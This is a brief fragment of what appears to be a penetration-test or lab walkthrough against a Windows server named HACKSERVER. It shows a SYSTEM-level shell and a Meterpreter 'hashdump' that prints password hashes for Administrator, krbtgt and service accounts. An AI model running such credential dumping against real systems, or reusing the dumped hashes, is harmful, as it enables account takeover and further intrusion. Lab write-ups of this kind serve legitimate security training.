2. information gathering

C:\WINDOWS\system32>whoami /user whoami /user

BENUTZERINFORMATIONEN --------------------- Benutzername SID

=================== ========

nt-autorit t\system S-1-5-18

meterpreter > hashdump

Administrator:500:7cc48b08335cd858aad3b435b51404ee:556a8f7773e850d4cf4d789d39ddaca0::: Gast:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f4673785213782c7fc1144953f211154::: IUSR_HACKSERVER:1000:2b26976bd88f56b650bac3105c9b3766:57e125d6356180a40853c8155fb7485c::: IWAM_HACKSERVER:1001:2705b9a32854ca1cbde99ca8ab3caa37:1d24b4ba8bc5b1246a46c49c08e38d33::: SUPPORT_388945a0:1004:aad3b435b51404eeaad3b435b51404ee:e9d58a21429965d15336fb0ec0691632:::